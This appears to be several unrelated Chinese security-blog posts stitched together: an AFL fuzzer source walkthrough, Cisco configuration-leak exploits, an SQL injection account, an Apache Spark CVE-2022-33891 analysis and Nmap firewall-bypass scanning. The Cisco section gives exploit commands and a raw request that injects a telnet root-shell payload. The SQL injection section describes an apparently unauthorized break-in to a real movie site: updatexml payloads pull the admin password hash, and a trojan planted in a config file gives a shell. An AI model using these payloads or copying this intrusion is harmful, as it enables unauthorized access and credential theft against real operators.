模糊测试工具AFL源码浅析
前言
AFL是一款著名的模糊测试的工具,最近在阅读AFL源码,记录一下,方便以后查阅。
环境
项目:https://github.com/google/AFL.git
编译项目:将编译的优化选项关闭,即改写成-O0
afl-gcc.c
使用gdb加载afl-gcc,并使用set arg -o test test.c设置参数
find_as函数
find_as函数首先会通过AFL_PATH环境变量的值从而获得AFL对应的路径
若上述环境变量不存在则获取当前afl-gcc所在的文件路径
判断该路径下的as文件是否具有可执行权限
u8 *afl_path = getenv("AFL_PATH");
...
if (afl_path) {
tmp = alloc_printf("%s/as", afl_path); //将AFL所在路径与字符as进行拼接
if (!access(tmp, X_OK)) { //函数用来判断指定的文件或目录是否有可执行权限,若指定方式有效则返回0,否则返回-1
as_path = afl_path;
ck_free(tmp);
return;
}
ck_free(tmp);
}
slash = strrchr(argv0, '/'); //在参数argv0所指向的字符串中搜索最后一次出现字符'/'
if (slash) {
u8 *dir;
*slash = 0;
dir = ck_strdup(argv0);
*slash = '/';
tmp = alloc_printf("%s/afl-as", dir); //将当前AFL所在的路径跟afl-as进行拼接
if (!access(tmp, X_OK)) {
as_path = dir;
ck_free(tmp);
return;
}
...
edit_params函数
edit_params函数实际就是准备需要传入编译器的参数,如编译器的类型gcc或clang
其次就是是否需要开启保护如canary等
最后就是判断是否开启内存泄漏探测的工具,如ASAN,该工具是针对C/C++ 的快速内存错误检测工具
...
cc_params = ck_alloc((argc + 128) * sizeof(u8*));
name = strrchr(argv[0], '/'); //获取可执行文件名称
if (!name) name = argv[0]; else name++; /*跳过路径符'/' */
if (!strncmp(name, "afl-clang", 9)) { //判断编译器是否为clang
...
}
else {
if (!strcmp(name, "afl-g++")) {
u8* alt_cxx = getenv("AFL_CXX");
cc_params[0] = alt_cxx ? alt_cxx : (u8*)"g++";
} else if (!strcmp(name, "afl-gcj")) {
u8* alt_cc = getenv("AFL_GCJ");
cc_params[0] = alt_cc ? alt_cc : (u8*)"gcj";
} else {
u8* alt_cc = getenv("AFL_CC");
cc_params[0] = alt_cc ? alt_cc : (u8*)"gcc"; //如环境变量没写入AFL_CC则默认使用gcc
}
}
while (--argc) {
u8* cur = *(++argv); //读取下一个参数
if (!strncmp(cur, "-B", 2)) { //若参数是-B
if (!be_quiet) WARNF("-B is already set, overriding"); //用于设置编译器的搜索路径
if (!cur[2] && argc > 1) { argc--; argv++; }//继续读取下一个参数
continue;
}
if (!strcmp(cur, "-integrated-as")) continue;
if (!strcmp(cur, "-pipe")) continue;
#if defined(__FreeBSD__) && defined(__x86_64__)
if (!strcmp(cur, "-m32")) m32_set = 1;
#endif
if (!strcmp(cur, "-fsanitize=address") ||
!strcmp(cur, "-fsanitize=memory")) asan_set = 1; //内存访问的错误
if (strstr(cur, "FORTIFY_SOURCE")) fortify_set = 1;//缓冲区溢出问题的检查
cc_params[cc_par_cnt++] = cur; //cc_params用于存放的参数
}
cc_params[cc_par_cnt++] = "-B"; //参数-B
cc_params[cc_par_cnt++] = as_path; //afl-as的路径
if (clang_mode)
cc_params[cc_par_cnt++] = "-no-integrated-as";
if (getenv("AFL_HARDEN")) {
cc_params[cc_par_cnt++] = "-fstack-protector-all"; //canary保护
if (!fortify_set)
cc_params[cc_par_cnt++] = "-D_FORTIFY_SOURCE=2";
}
if (asan_set) {
/* Pass this on to afl-as to adjust map density. */
setenv("AFL_USE_ASAN", "1", 1);
} else if (getenv("AFL_USE_ASAN")) {
if (getenv("AFL_USE_MSAN"))
FATAL("ASAN and MSAN are mutually exclusive");
if (getenv("AFL_HARDEN"))
FATAL("ASAN and AFL_HARDEN are mutually exclusive");
cc_params[cc_par_cnt++] = "-U_FORTIFY_SOURCE";
cc_params[cc_par_cnt++] = "-fsanitize=address";
} else if (getenv("AFL_USE_MSAN")) {
if (getenv("AFL_USE_ASAN"))
FATAL("ASAN and MSAN are mutually exclusive");
if (getenv("AFL_HARDEN"))
FATAL("MSAN and AFL_HARDEN are mutually exclusive");
cc_params[cc_par_cnt++] = "-U_FORTIFY_SOURCE";
cc_params[cc_par_cnt++] = "-fsanitize=memory";
}
...
cc_params[cc_par_cnt++] = "-g";
...
cc_params[cc_par_cnt++] = "-O3";
cc_params[cc_par_cnt++] = "-funroll-loops";
/* Two indicators that you're building for fuzzing; one of them is
AFL-specific, the other is shared with libfuzzer. */
cc_params[cc_par_cnt++] = "-D__AFL_COMPILER=1";
cc_params[cc_par_cnt++] = "-DFUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION=1";
}
if (getenv("AFL_NO_BUILTIN")) {
cc_params[cc_par_cnt++] = "-fno-builtin-strcmp";
cc_params[cc_par_cnt++] = "-fno-builtin-strncmp";
cc_params[cc_par_cnt++] = "-fno-builtin-strcasecmp";
cc_params[cc_par_cnt++] = "-fno-builtin-strncasecmp";
cc_params[cc_par_cnt++] = "-fno-builtin-memcmp";
cc_params[cc_par_cnt++] = "-fno-builtin-strstr";
cc_params[cc_par_cnt++] = "-fno-builtin-strcasestr";
}
cc_params[cc_par_cnt] = NULL;
}
通过edit_params函数后
可以传递给编译器的参数增加了-B . -g -O3 -funroll-loops -D__AFL_COMPILER=1 -DFUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION=1这几项
main函数
首先调用isatty函数判断描述符是否为终端机以及是否为静默模式,即不打印任何信息,SAYF即输出函数用于输出提示字符
接着通过find_as函数搜索as文件所在的路径
接着通过edit_params函数编辑获取需要传入编译器的参数
最后通过execvp函数启动gcc或其他编译器
/*
isatty函数用于判断文件描述词是否是为终端机
获取AFL_QUIET的环境变量
*/
if (isatty(2) && !getenv("AFL_QUIET")) { //判断是否静默模式
/*
#ifdef MESSAGES_TO_STDOUT
# define SAYF(x...) printf(x)
#else
# define SAYF(x...) fprintf(stderr, x)
#endif
*/
SAYF(cCYA "afl-cc " cBRI VERSION cRST " by <lcamtuf@google.com>\n");
} else be_quiet = 1;
if (argc < 2) { //参数个数小于两个
SAYF("\n"
"This is a helper application for afl-fuzz. It serves as a drop-in replacement\n"
"for gcc or clang, letting you recompile third-party code with the required\n"
"runtime instrumentation. A common use pattern would be one of the following:\n\n"
" CC=%s/afl-gcc ./configure\n"
" CXX=%s/afl-g++ ./configure\n\n"
"You can specify custom next-stage toolchain via AFL_CC, AFL_CXX, and AFL_AS.\n"
"Setting AFL_HARDEN enables hardening optimizations in the compiled code.\n\n",
BIN_PATH, BIN_PATH);
exit(1);
}
find_as(argv[0]); //用于寻找as所在路径
edit_params(argc, argv);//用于获取编译参数
execvp(cc_params[0], (char**)cc_params);//启动gcc或其他编译器
大致流程图
afl-gcc可以看作是劫持了gcc的一个程序,从而修改as的路径(为了后续的插桩做准备),并且添加所有fuzzing所需要的参数再传入实际的编译器中去(这里以gcc作为例子)
afl-as.c
edit_params函数
afl-as.c的edit_params函数比较简单
首先是确定as文件所在的路径,若没有设置环境变量则直接使用as作为汇编器所在路径的参数
其次是检测.s文件是否在临时目录下,这里我做了测试如果.s不在临时目录则无法插桩成功
最后随机生成文件名,将该文件作为插桩后的文件并作为传输传入汇编器
u8 *tmp_dir = getenv("TMPDIR"), *afl_as = getenv("AFL_AS"); //afl-as的地址
...
as_params = ck_alloc((argc + 32) * sizeof(u8*)); //给参数分配空间
as_params[0] = afl_as ? afl_as : (u8*)"as";
as_params[argc] = 0; //截断符
...
//用于记录文件是64位还是32位
for (i = 1; i < argc - 1; i++) {
if (!strcmp(argv[i], "--64")) use_64bit = 1;
else if (!strcmp(argv[i], "--32")) use_64bit = 0;
...
if (strncmp(input_file, tmp_dir, strlen(tmp_dir)) &&
strncmp(input_file, "/var/tmp/", 9) &&
strncmp(input_file, "/tmp/", 5)) pass_thru = 1; //汇编文件需要放在临时目录下,否则后续无法对文件进行插桩
}
modified_file = alloc_printf("%s/.afl-%u-%u.s", tmp_dir, getpid(),
(u32)time(NULL)); //随机生成文件名,作为插桩的目标文件
...
as_params[as_par_cnt++] = modified_file; //将待修改的文件名作为汇编器的参数
as_params[as_par_cnt] = NULL;
add_instrumentation函数
add_instrumentation函数是插桩的关键函数
首先是分别打开需要编译的文件以及存放插桩后的文件,并且对需要编译的文件逐行逐行进行扫描
其次对于以下情况的代码块不进行插桩处理
pass_thru = 1,这里经调试发现只要.s文件存在于临时目录下pass_thru的值就会为0,pass_thru = 1的意思是只传递数据不进行插桩
skip_intel = 1即为跳过intel的汇编语法的代码
不在.text段内
在.text段但是不处于函数标签或者分支标签
trampoline_fmt_64与trampoline_fmt_32即为需要插桩的代码,并会记录总共插桩了几处
若进行了插桩处理,那么则需要在文件末尾插入main_payload_64,是与afl进行fuzzing相关的函数
...
if (input_file) { //需要编译的文件
inf = fopen(input_file, "r");
if (!inf) PFATAL("Unable to read '%s'", input_file);
} else inf = stdin;
outfd = open(modified_file, O_WRONLY | O_EXCL | O_CREAT, 0600); //打开存放插桩后的文件
if (outfd < 0) PFATAL("Unable to write to '%s'", modified_file);
outf = fdopen(outfd, "w");
if (!outf) PFATAL("fdopen() failed");
while (fgets(line, MAX_LINE, inf)) { //对需要汇编的文件进行一行一行的扫描
/* In some cases, we want to defer writing the instrumentation trampoline
until after all the labels, macros, comments, etc. If we're in this
mode, and if the line starts with a tab followed by a character, dump
the trampoline now. */
//isalpha是一种函数:判断字符ch是否为英文字母
//# define R(x) (random() % (x))
if (!pass_thru && !skip_intel && !skip_app && !skip_csect && instr_ok &&
instrument_next && line[0] == '\t' && isalpha(line[1])) {
fprintf(outf, use_64bit ? trampoline_fmt_64 : trampoline_fmt_32,
R(MAP_SIZE)); //将插桩代码写入改写文件中,trampoline_fmt_64为64位程序的插桩代码,trampoline_fmt_32为32位程序的插桩代码
instrument_next = 0;
ins_lines++; //总共插桩了多少处地方
}
...
if (line[0] == '\t' && line[1] == '.') {
/* OpenBSD puts jump tables directly inline with the code, which is
a bit annoying. They use a specific format of p2align directives
around them, so we use that as a signal.
OpenBSD为一个类unix的操作系统
*/
if (!clang_mode && instr_ok && !strncmp(line + 2, "p2align ", 8) &&
isdigit(line[10]) && line[11] == '\n') skip_next_label = 1; //跳转到下一个标签
if (!strncmp(line + 2, "text\n", 5) ||
!strncmp(line + 2, "section\t.text", 13) ||
!strncmp(line + 2, "section\t__TEXT,__text", 21) ||
!strncmp(line + 2, "section __TEXT,__text", 21)) {
instr_ok = 1; //只要是text段就是我们应该插桩的段
continue;
}
if (!strncmp(line + 2, "section\t", 8) ||
!strncmp(line + 2, "section ", 8) ||
!strncmp(line + 2, "bss\n", 4) ||
!strncmp(line + 2, "data\n", 5)) {
instr_ok = 0; //不需要插桩的段
continue;
}
}
...
if (line[0] == '\t') {//检测jnz等分支指令
if (line[1] == 'j' && line[2] != 'm' && R(100) < inst_ratio) { //绝对跳转jmp不进行插桩处理
fprintf(outf, use_64bit ? trampoline_fmt_64 : trampoline_fmt_32,
R(MAP_SIZE)); //给分支跳转指令进行插桩
ins_lines++; //插桩的指令数
}
continue; //插桩完直接跳过
}
...
if (strstr(line, ":")) { //检测标签
if (line[0] == '.') {
/* Apple: .L<num> / .LBB<num> */
if ((isdigit(line[2]) || (clang_mode && !strncmp(line + 1, "LBB", 3))) //分支标签
&& R(100) < inst_ratio) {
...
if (!skip_next_label) instrument_next = 1; else skip_next_label = 0;//若该标签不需要跳转则记录下来,该标签需要插桩
}
} else { //函数标签
/* Function label (always instrumented, deferred mode). */
instrument_next = 1;//函数标签都需要进行插桩
}
}
}
if (ins_lines)
fputs(use_64bit ? main_payload_64 : main_payload_32, outf); //若进行插桩处理则需要插入main_payload_64
这里重点关注一下插桩的位置
情况一:函数入口,例如main函数
函数标签处的插桩如下图所示,插桩的位置是函数第一条指令的上方进行插桩
情况二:分支跳转,例如jle指令
扫描到分支跳转指令,则直接在跳转指令下方进行插桩处理,如下图所示
情况三:.L<num>标签
.L为本地标签,afl-as.c也会扫描该标签并进行插桩处理,可以看到跳转指令的目的地地址就是以.L<num>,因此.L<num>可以认为分支的起始位置,与函数标签一样,会在第一条指令上方进行插桩处理
main函数
main函数主要经过edit_params函数修改了传入汇编器的参数,并且对汇编文件进行插桩处理,最后使用execvp函数启动汇编器进行汇编处理
...
gettimeofday(&tv, &tz);
rand_seed = tv.tv_sec ^ tv.tv_usec ^ getpid();//随机种子
srandom(rand_seed);//通过种子生成随机数
edit_params(argc, argv); //加载参数,并在/tmp/目录下生成临时的汇编文件
if (inst_ratio_str) {
if (sscanf(inst_ratio_str, "%u", &inst_ratio) != 1 || inst_ratio > 100)
FATAL("Bad value of AFL_INST_RATIO (must be between 0 and 100)");
}
if (getenv(AS_LOOP_ENV_VAR))
FATAL("Endless loop when calling 'as' (remove '.' from your PATH)");
setenv(AS_LOOP_ENV_VAR, "1", 1);
/* When compiling with ASAN, we don't have a particularly elegant way to skip
ASAN-specific branches. But we can probabilistically compensate for
that... */
if (getenv("AFL_USE_ASAN") || getenv("AFL_USE_MSAN")) {
sanitizer = 1;
inst_ratio /= 3;
}
if (!just_version) add_instrumentation();//对文件进行插桩处理
if (!(pid = fork())) {
execvp(as_params[0], (char**)as_params);//将插桩后的文件传入汇编器中
FATAL("Oops, failed to execute '%s' - check your PATH", as_params[0]);
...
传入汇编器的参数情况
大致流程图
afl-as相当于劫持了as从而修改汇编的文件名以及对相应的汇编文件进行插桩处理
afl-as.h
该文件放置了插桩需要的代码如trampoline_fmt_64、trampoline_fmt_32、main_payload_64以及main_payload_32,这些代码结合fuzzing过程有关。
总结
afl-gcc与afl-as可以看作是劫持了编译器,将fuzzing相关的参数设置好并对编译文件进行相应的插桩后再调用实际的编译器。
CISCO设备信息泄漏漏洞案例
前言
在日常的渗透任务中,除了常见的集权设备,高危组件的漏洞挖掘,一些iot设备目标也是可以作为重点关注的存在。近期实战中遇到了几个cisco配置信息泄漏的案例,借此机会复习总结下cisco常见的漏洞。
cisco SMI 配置泄漏
Cisco SMI 是一种即插即用功能,可为 Cisco 交换机提供零接触部署并在 TCP 端口 4786 上进行通信。如果发现开放4786端口的cisco设备,那可以深入测试一下。
fofa 语句 protocol="smi"
影响目标还挺多的
git clone https://github.com/ChristianPapathanasiou/CiscoSmartInstallExploit
cd CiscoSmartInstallExploit
pip2 install tftpy
python2 cisco.py [ip]
注意用python2运行,运行成功会下载目标的运行配置
配置文件中存有设备用户密码,ACL配置,ftp配置账号密码等敏感信息
如果想进一步分析配置文件可以下载 ccat 工具进行自动化分析
https://github.com/frostbits-security/ccatgit clone https://github.com/frostbits-security/ccat.git
cd ccat
pip3 install -r requirements.txt
python3 ccat.py configuration_file
我们可以使用 --dump-creds 参数dump出账号密码
文件名m500的可以用hashcat -m 500的掩码进行爆破,5700同理
CVE-2019-1652 && CVE-2019-1653
Cisco RV320 路由器的配置可以在未经身份验证的情况下通过设备的 Web 界面导出。
fofa 语句 app="CISCO-RV320”
对应poc
ip:port/cgi-bin/config.exp
下载的配置文件中有账号和md5的密码,不过md5的格式为 md5($password.$auth_key),其中 auth_key 是一个静态值,可以通过直接访问 / 路径找到。
当然在通过 CVE-2019-1653 获得了账号和md5的密码后可以通过替换登录包的hash进行登录,无需解密
后台可以配合 CVE-2019-1652 进行 rce
github上的利用poc由于不支持目标的自签名证书 https://github.com/0x27/CiscoRV320Dump/blob/master/easy_access.py 这里就手动发包进行测试
POST /certificate_handle2.htm?type=4 HTTP/1.1
Host: x.x.x.x
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: mlap=RGVmYXVsdDk6Ojo6Y2lzY28=
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
page=self_generator.htm&totalRules=1&OpenVPNRules=30&submitStatus=1&log_ch=1&type=4&Country=A&state=A&locality=A&organization=A&organization_unit=A&email=ab%40example.com&KeySize=512&KeyLength=1024&valid_days=30&SelectSubject_c=1&SelectSubject_s=1&common_name=a%27%24%28telnetd%20-l%20%2Fbin%2Fsh%20-
payload执行后会用telnet在本地监听1337口
连接验证
总结
cisco设备国内互联网公司和企事业用得不多,近年来都被国产品牌替换了。
python的poc经常会遇到一些历史遗留问题,比如tls版本过低,依赖库安装报错不兼容等等问题,建议还是用go写poc,利人利己。
记一次SQL注入的收获
一、发现漏洞
1.1. 发现
这是一篇两年前的笔记了。之前平常喜欢看些电影影片,不想充值VIP,才发现的网站,但是这个网站A并不是主要测试的,而是通过发现他的兄弟网站B,然后进行渗透。
1.2. 测试
有事没事对网站动一动,发现A存在XSS,但是并没有多大的利用价值,但是通过友情链接,跳转到了B,就觉得B可能也在同个位置存在XSS但是,令人惊讶的是,我没发现XSS,但是确发现存在SQLI。加了个’,直接把sql语句爆出来了,如下图1。
图 1
二、漏洞利用
2.1 闭合规则
原始的语句:
SELECT `y80s_movies`.*, `y80s_photos`.`path` AS photo_path, `y80s_photos`.`share` AS photo_share
FROM (`y80s_movies`)
LEFT OUTER JOIN `y80s_photos` y80s_photos ON `y80s_photos`.`id` = `y80s_movies`.`photo_id`
WHERE `y80s_movies`.`public` = '1'
AND `y80s_movies`.`attribute` NOT LIKE '%%1%%'
AND (name like '%XXX%' or aka like '%XXX%')
ORDER BY `y80s_movies`.`update` DESC, `y80s_movies`.`id` DESC
LIMIT 25
原始报文:
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization, Accept-Encoding, UserAccount
Server: nginx
Date: Thu, 29 Oct 2020 01:36:40 GMT
Content-Type: text/html; charset=utf-8
X-Powered-By: PHP/5.6.38
X-Cache: MISS from aws-jp08
X-Cache: MISS from asia-hk11
Connection: close
Content-Length: 882
Array
(
[0] => Error Number: 1064
[1] => You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%' or aka like '%xxx%')
ORDER BY `y80s_movies`.`update` DESC, `y80s_movies`.' at line 6
[2] => SELECT `y80s_movies`.*, `y80s_photos`.`path` AS photo_path, `y80s_photos`.`share` AS photo_share
FROM (`y80s_movies`)
LEFT OUTER JOIN `y80s_photos` y80s_photos ON `y80s_photos`.`id` = `y80s_movies`.`photo_id`
WHERE `y80s_movies`.`public` = '1'
AND `y80s_movies`.`attribute` NOT LIKE '%%1%%'
AND (name like '%XXX%' or aka like '%XXX'%')
ORDER BY `y80s_movies`.`update` DESC, `y80s_movies`.`id` DESC
LIMIT 25
[3] => Filename: /home/wwwroot/XXXX/libraries/datamapper.php
[4] => Line Number: 1410
)
<html>
<head>
<title>Error</title>
</head>
<body>
hi</body>
</html>
XXX为输入的位置,同上可以看出,会同时在两处插入,但其实只需要管一处即可,后面可以注释掉。
当时在考虑,怎么闭合这个规则,怎么执行自己想执行的语句。但是可能被这么长的语句吓到了,不知道从何下手。也可能是因为自己数据库基础不扎实。其实仔细分析,都是可以化繁为简的。这语句也就是select 字段 from 表名 (一个左外连接) where XXX and XXX and XXX order by XXX。以上是我想的,看看老王想的:这个构造看清大逻辑,select xxx from ta left outer join tb on ta.a=tb.b where con1=xxxxx and con2=xxxx oder by a.a,b.b limit 25,然后得出:注入是在whe
2.2 爆数据
这步应该是最多的,一开始自己找不到闭合规则,经常会报错,而且还是乱码,如下图2:
图 2
一开始猜测是回显了数据表,所以导致了乱码,但是并不是,应该只是服务器的问题。这服务器本来就不太稳定,换下查询数据,刷新页面,多试几次就好了。然后思路就想着,构造一个判断语句,通过是与否来判断数据库的信息,然后有了以下的两个payload:
1、%e4%ba%ba') and 1=1 or (‘1’=’1
2、%e4%ba%ba') and exists(select path from y80s_photos) or ('1'='1
但是这payload真的是太傻了,好在报错信息有提供表名和mysql默认表dual,不然都没法判断是否构造完成。接下来是内容由老王指导完成。
通过union或者updatexml进行查询,内容有回显,一开始我并不知道的,后面通过百度查询到了updatexml用法,于是自己构造了个:
1、%e7%88%b1') and updatexml(1,concat('~',(select database()),'~'),3)--+
获取了数据名80s,如下图3:
图 3
既然可以回显,那紧接着,就是查询所有的表名。
笔记:
查询数据库中所有表名
select table_name from information_schema.tables where table_schema='数据库名' and table_type='base table';
select table_name from information_schema.tables where table_schema='数据库名'
查询指定数据库中指定表的所有字段名column_name
select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名'
于是构造了
payload:%e7%88%b1') and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='80s' limit 0,1),'~'),3)--+
其实limit是后面加的,服务器返回:Subquery returns more than 1 row,但是这边只能显示一条,所以一开始思路是使用limit一条一条去查出来,如下图4、图5:
图 4
图 5
利用burp-Intruder爆破出数据库,但是,这样太慢了。
老王提供了个函数group_concat(),group_concat()类似一个聚集函数,把所有内容拼接成字符串,默认用逗号隔开。于是我的payload就变成:
%e6%98%9f') and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='80s'),'~'),3)--+
但是,人算不如天算,他回显内容有限制长度的,如下图6:
图 6
看Y80应该可以明显感觉断了,及时看不出来,也不应该就这几个表吧!这时候想到,我们岂不是可以通过limit限制内容,把已经看到了的不输出,我真是天才,然后我构造了payload:
%e6%98%9f') and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='80s' limit 6,2),'~'),3)--+
发现页面居然正常跳转了,没有报错,我人傻了,估计是sql语句又哪里有问题了吧!后面看了老王的,他构造的是:
123333') and updatexml(1,concat(0x7e,(select group_concat(x.movie_id) from (select movie_id from hits limit 3,3)x),0x7e),1)--+
select group_concat(x.movie_id) from x,从x表查询movieid,然后聚集成一行,x表是个别名,x = seelect movie_id from hits limit 3,3,从hits查movieid,从记录3往后查3条,结果是个一列三行的数据临时表,然后前面配合聚集,把这三行连接,这样就不用limit a,1这种,每次限制一行记录,这个可以limit a,5这样,一次查五条。搜嘎!
由于我只是想登入后台,尝试找出管理员的表即可,我就还是一个一个试,最终找到管理员表y80s_managers,然后根据payload:
%e6%98%9f') and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='80s' and table_name='y80s_managers'),'~'),3)--+
查询出字段名id,name,password,right_id,lock等,如下图7:
图 7
但是我们主要还是账号名密码,所以继续!构造payload:
%e5%a6%bb') and updatexml(1,concat('~',(select group_concat(name) from y80s_managers),'~'),3)--+
如下图8:
图 8
可以看到,只有一个账户,name为me****zz,再查询密码,如下图9:
图 9
忘记这个是有限制字段的,也没注意看是否是以~结尾,然后拿去md5解密,发现解不开,数了一下,31位的md5?这时候才发现,后面还有。于是使用substr函数,去截取后面的字段,回显!
Payload:%e6%96%b0') and updatexml(1,concat('~',(select substr(password,31) from y80s_managers),'~'),3)--+
Substr(str,pos,len),pos开始的位置,len为长度,str字符串,len没输入的时候默认是pos开始截取到最后的位置。于是有了以下图10:
图 10
果然掉了一位,最后得到md5:9356*************63c
三、解密账号密码
3.1成功登录
Md5解开后得到账号名密码:
Me****zz,935********63c(pj*****@)
然后使用dirsearch,搜索出后台(其实我是先找到后台才想着去注入的),成功登录,如下图11:
图 11
原本想删除登录记录的,但是发现这后台功能有点简陋,好像没有发现有登录记录之类的,就没先下了,后续再二次进攻!
3.2 收获其他信息
以下是收集到的其他信息:
database:80s
mysql5.6.44
table:hits,y80s_ads,y80s_articles,y80s_bigphotos,y80s_caijis,y80s_cast_infos,y80s_casts,y80s_casts_movies,y80s_directors_movies,y80s_directors,
y80s_dlurls,y80s_dlurls_movies,y80s_doubans,y80s_duoshuo_comments,y80s_forhotmovies,y80s_hits,y80s_hotwords,y80s_infos,y80s_managers,y80s_moviedesc_ups
y80s_ads:
id title name content
y80s_managers:
id,name,password,right_id,lock
四、寻找上传点
发现该网站存在设置影片的图片,直接上免杀马。免杀马是github上大佬写的生成工具,已测试过是可以过360和D盾的。链接:https://github.com/pureqh/Troy
服务器直接报错。多番尝试发现无法上传马。还发现了数据库备份,但是貌似无法修改数据库扩展名。
五、柳暗花明又一村
在查看网站功能的时候,我又发现了另一个好东西:
配置文件编辑。直接把一句话木马写到配置文件里面。通过写入<?php phpinfo();?>后,发现在每个页面初始化的时候,都会去调用该配置文件。直接getshell。
六、小结
闭合规则是花费时间最长的,还有后面要利用的时候,构造payload也是我花费时间最多的,基本都是百度上查,很多都不懂,两个的根本原因还是因为对sql注入,乃至数据库的基础都不是很懂,很多函数,都不知道,不知道有功能有什么函数,在利用的时候就难以下手,耗费大量时间。其次还可通过mysql直接写入shell的,这个也是后面才知道的,不过写入shell的前提条件较为苛刻。
Apache Spark UI 命令注入漏洞 CVE-2022-33891
漏洞简介
Apache Spark UI 提供了通过配置选项 spark.acls.enable。 使用身份验证过滤器,这检查用户是否有访问权限来查看或修改应用。如果启用了 ACL,则 HttpSecurityFilter 中的代码路径可以允许某人通过提供任意用户名来执行模拟。然后恶意用户可能能够访问权限检查功能,最终将根据他们的输入构建一个 Unix shell 命令,并且执行它。这将导致任意 shell 命令执行。
影响版本:Apache Spark 版本 3.0.3 及更早版本,版本 3.11 至 3.1.2 ,以及版本 3.2.0 至 3.2.1
漏洞复现
下载 Apache Spark 3.2.1 https://archive.apache.org/dist/spark/
https://archive.apache.org/dist/spark/spark-3.2.1/spark-3.2.1-bin-hadoop2.7.tgz
根据描述是需要开启 acl 功能才可以触发漏洞
开启 ACL 可以通过设定启动时的参数 ./spark-shell --conf spark.acls.enable=true 或者在 conf/spark-defaults.conf 中添加 spark.acls.enable true
构造 poc
http://localhost:4040/?doAs=`[command injection here]`
漏洞分析
为了方便调试在启动脚本中添加上调试参数
export SPARK_SUBMIT_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005"
输入错误的执行语句时的报错信息
漏洞的触发大概就在 org.apache.spark.security.ShellBasedGroupsMappingProvider.getUnixGroups
漏洞的调用栈应该为
org.apache.spark.ui.HttpSecurityFilter.doFilter(HttpSecurityFilter.scala:71)
org.apache.spark.SecurityManager.checkUIViewPermissions(SecurityManager.scala:238)
org.apache.spark.SecurityManager.isUserInACL(SecurityManager.scala:381)
org.apache.spark.util.Utils$.getCurrentUserGroups(Utils.scala:2523)
org.apache.spark.security.ShellBasedGroupsMappingProvider.getGroups(ShellBasedGroupsMappingProvider.scala:34)
org.apache.spark.security.ShellBasedGroupsMappingProvider.getUnixGroups(ShellBasedGroupsMappingProvider.scala:43)
加上断点进行调试分析
org.apache.spark.ui.HttpSecurityFilter#doFilter
获取到参数 doAS 赋值为 effectiveUser 传到函数 checkUIViewPermissions
org.apache.spark.SecurityManager#checkUIViewPermissions
org.apache.spark.SecurityManager#isUserInACL
org.apache.spark.util.Utils$#getCurrentUserGroups
org.apache.spark.security.ShellBasedGroupsMappingProvider#getGroups
org.apache.spark.security.ShellBasedGroupsMappingProvider#getUnixGroups
通过反引号将想要执行的命令包含起来,拼接到原本的命令执行语句中
org.apache.spark.util.Utils$#executeAndGetOutput
org.apache.spark.util.Utils$#executeCommand
漏洞补丁
新版本的修复 删除了 ShellBasedGroupsMappingProvider 中的 bash 的调用,最后执行命令的语句应该变为/usr/bin/id -Gn + 传入参数
Nmap抓包分析与绕过Windows防火墙
前言
在打靶场的过程中使用Nmap时发现点小问题,借此机会详细分析下情况,于是有了这篇文章。
本文包含以下内容:
Nmap抓包分析
内网下绕过Windows防火墙扫描存活主机
这里主要是针对Nmap进行讨论,实战中当然哪个快用哪个。不过万变不离其宗,哪怕稍微了解下其原理都受益无穷。
防火墙
这里的防火墙值得是Windows server自带的防火墙,主要绕过其两个防御规则:
1.禁止ICMP回显
2.隐藏模式
具体见https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd448557(v=ws.10)?redirectedfrom=MSDN,大意为:不会使用ICMP不可达响应UDP查询,不使用RST响应TCP查询。默认开启。
https://shamsher-khan-404.medium.com/understanding-nmap-scan-with-wireshark-5144d68059f7-sn:禁用端口扫描
-P* 用于选择不同的PING方法,用于存活扫描
Nmap抓包分析
拓扑图
关闭防火墙便于查看数据包
主机发现(Ping)
-PS(TCP SYN)
TCP SYN Ping:发送单个TCP SYN包到指定端口检测主机是否存活,默认80端口。该扫描就是经典的半开放扫描。
请求局域网主机135端口(开启)
nmap -sn -PS135 172.16.1.128 -vvv -n --disable-arp-ping
#-n 禁用dns解析
注意nmap扫局域网存活主机都会预先进行arp扫描,在这里禁用了端口扫描,意味着nmap只会进行存活扫描,当nmap进行arp扫描后发现主机存活就不会进行后续操作,wireshark也就抓不到包,所以使用--disable-arp-ping禁用arp扫描。
请求局域网主机666端口(关闭)
nmap -sn -PS666 172.16.1.128 -vvv -n --disable-arp-ping
请求远程主机135端口(开启):
还是这里会发现,和扫局域网比起来多了很多包,为什么和扫局域网情况不一样?
还是fofa随便找个开启135端口的IP:
这里会发现,和扫局域网比起来多了很多包。
请求远程主机6666端口(关闭):
奇怪的是,明明远程主机返回了RST/ACK包,但nmap没有接收到。
为什么会有这样的差别?翻了翻nmap官方文档,其中有这样一句话:
RST报文是运行Nmap的机器的内核为响应意外的SYN/ACK而发送的,而不是Nmap本身。
突然想到,我的kali是放在vmware,以nat形式接入网络,这样偶尔会出现点小问题。
于是我在windows上装了个nmap再进行测试:
再看下抓包
发现这里没发RST包
关掉防火墙再试,还一下发俩RST……
接下来将vmware网络模式换为桥接,发现正常了。说明是NAT网络的问题。
-PA(TCP ACK)
TCP ACK Ping:发送单个TCP ACK包到指定端口检测主机是否存活,默认80端口
请求局域网主机135端口(开启)
一般ACK包是双方建立起连接发送的,但实际上不存在连接,无论端口是否开启,远程主机都会用RST包来回应,以此来判断主机存活。当然很多防御策略都会丢弃无效包防止被检测。
nmap -sn -PA135 172.16.1.128 -vvv -n --disable-arp-ping
